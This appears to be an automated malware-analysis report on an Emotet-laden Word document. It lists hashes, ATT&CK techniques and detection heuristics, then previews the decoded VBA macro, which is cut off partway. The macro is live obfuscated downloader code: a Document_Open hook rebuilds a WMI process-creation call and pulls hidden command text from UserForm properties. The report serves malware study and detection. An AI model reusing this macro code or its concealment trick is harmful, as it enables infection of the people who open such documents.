Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 cd58562038247b5a…

MALICIOUS

Office (OLE)

231.0 KB Created: 2020-08-13 23:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 7727ad84c42c506e60d0a4a4ea3414a3 SHA-1: 2b443d0a22dd17cd55b3b96cd3e7c986b8d64771 SHA-256: cd58562038247b5a19c95fa12860b7c48e177eca3548b3d6dcbcb2eb71ee4dda
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample exhibits critical heuristic firings for a VBA UserForm hidden-property command stager, indicating it's designed to execute code. The ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-9317195-0', strongly suggesting the Emotet family. The Document_Open macro and CreateObject calls are typical for initiating malicious actions, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9317195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9317195-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4154 bytes
SHA-256: b0f93099d3a3eb54779bc2ffcb6b9086cc6e62ae0568e188975add5563a5c027
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TCXEDsmvzmyb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
CVOKOcdfvomvt.OVCOCyhqzhfsrkbtg
End Sub


Attribute VB_Name = "CVOKOcdfvomvt"
Attribute VB_Base = "0{C85C51E8-93D7-41AF-886D-650B839C77C5}{B8D9123A-A50A-450B-A1B4-543D184DCC39}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function OVCOCyhqzhfsrkbtg()
ZSTHAdwykvisnis = CVOKOcdfvomvt.Zoom
EWtaT3ÄEfeU = 9
Do While EWtaT3ÄEfeU < 9 + 4
EWtaT3ÄEfeU = EWtaT3ÄEfeU + 6: DoEvents
Loop
SYLNLwegyxim = ChrW(ZSTHAdwykvisnis + (100 + 35) / 9)
WHEWC0ÅGtsV = Trim$("NZtncF7Ç")
NKQZJvugfssmd = "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671i832[sahj hui12t7gGG7&^6272 gasg671nm832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671gm832[sahj hui12t7gGG7&^6272 gasg671t832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671" + SYLNLwegyxim + "832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671:832[sahj hui12t7gGG7&^6272 gasg671w832[sahj hui12t7gGG7&^6272 gasg671in832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg6713832[sahj hui12t7gGG7&^6272 gasg6712832[sahj hui12t7gGG7&^6272 gasg671_832[sahj hui12t7gGG7&^6272 gasg671" + CVOKOcdfvomvt.LXKBHpiszisdt + "832[sahj hui12t7gGG7&^6272 gasg671ro832[sahj hui12t7gGG7&^6272 gasg671832[sahj hui12t7gGG7&^6272 gasg671ce832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671s832[sahj hui12t7gGG7&^6272 gasg671"
PBHLWdkyxtudd = PALVTazfqlce(NKQZJvugfssmd)
Dim KUm3Y4Áw0ÔA As Integer
KUm3Y4Áw0ÔA = 4
Do While KUm3Y4Áw0ÔA < 4 + 8
KUm3Y4Áw0ÔA = KUm3Y4Áw0ÔA + 8: DoEvents
Loop
Set GMIKThjlpenx = CreateObject(PBHLWdkyxtudd)
Dim QXD As String
QXD = Trim$("DHBnPjfiN")
QOAGSgzrpcusbp = CVOKOcdfvomvt.RBKITgvcmedtpphk.ControlTipText
Dim m1ÝkpiV8ÔN As Variant
FIVHUlxeyqtmizu = CTIZDhzphtsmnpqnrbb + (PBHLWdkyxtudd + SYLNLwegyxim + CVOKOcdfvomvt.PDKDMlztgtuwryyzlf.ControlTipText + QOAGSgzrpcusbp)
Dim gs2ËgnTcKiQ As String
LSFXRpyjwekogyxzzfh = FIVHUlxeyqtmizu + CVOKOcdfvomvt.LXKBHpiszisdt
Dim N0ÚPb8Ì As Double
Set VPEKWvbgkvxfgqcklw = FJAFOgctbjwlqmzvosl(LSFXRpyjwekogyxzzfh)
Dim GqCGSFodc As String
GqCGSFodc = Trim$("Mv1Ýf8ÈoY4Ý")
YXIQIruhpxsrarpux = Array(PMXZGxmbcahjdorsy + "KSQMMsajabmvz PBLOWzrkdgotafuezi LJEADafzwxlphbltb", GMIKThjlpenx. _
Create(EDNHDnxbaakh, DWZMZpjyssupw, VPEKWvbgkvxfgqcklw), EDOMLbinqzvn + "RHSPLsawmsyjpqehn HBKKDmyiaupfz")
Dim ZWpUHiEAD As String
ZWpUHiEAD = Trim$("VabiuX")
End Function
Function FJAFOgctbjwlqmzvosl(CCRHJdhgtplht)
Set FJAFOgctbjwlqmzvosl = CreateObject(CCRHJdhgtplht)
Dim yllcsJLnKV As Integer
yllcsJLnKV = 9
Do While yllcsJLnKV < 9 + 5
yllcsJLnKV = yllcsJLnKV + 1: DoEvents
Loop
FJAFOgctbjwlqmzvosl. _
showwindow = MXSRAdiwveskpdvkd + DVOMHgdgqdrfgg
Dim a4Õg As Object
End Function
Function PALVTazfqlce(LFTRXdbgaoec)
GPRKUqjihkny = LFTRXdbgaoec
Dim nGcyUDpZ As Byte
ZUCRSwkzwalyosurj = Split _
(GPRKUqjihkny, "832[sahj hui12t7" + "gGG7&^6272 gasg671")
Dim EA4ØDwC5ÔrtA As Double
EVPCVswkexqejdoou = HXSYNhkvkffstxumq + Join(ZUCRSwkzwalyosurj, IBEDAplnumfepylsh)
Dim C7ÜYg As String
C7ÜYg = Trim$("nCtJBfnGcy")
PALVTazfqlce = EVPCVswkexqejdoou
Dim kFPSyh As Object
End Function
Function EDNHDnxbaakh()
Dim ctRwWF As String
ctRwWF = Trim$("dJSt4Äf")
Dim Hd2EFS7Ë2Àe As String
Hd2EFS7Ë2Àe = Trim$("X8åCfRdv")
Dim gbdGcnr As String
gbdGcnr = Trim$("kYI")
IJAYSylfqksyptybr = CVOKOcdfvomvt.ELHLNzbhbsofqvbu.Pages(vbOK / vbOK).Tag
Dim AhGo2ÒY3Õbo As String
AhGo2ÒY3Õbo = Trim$("yo3ÊdOZdWK")
EDNHDnxbaakh = PALVTazfqlce(IJAYSylfqksyptybr)
Dim B0ÃjUg As Integer
B0ÃjUg = 9
Do While B0ÃjUg < 9 + 1
B0ÃjUg = B0ÃjUg + 1: DoEvents
Loop
End 
... (truncated)

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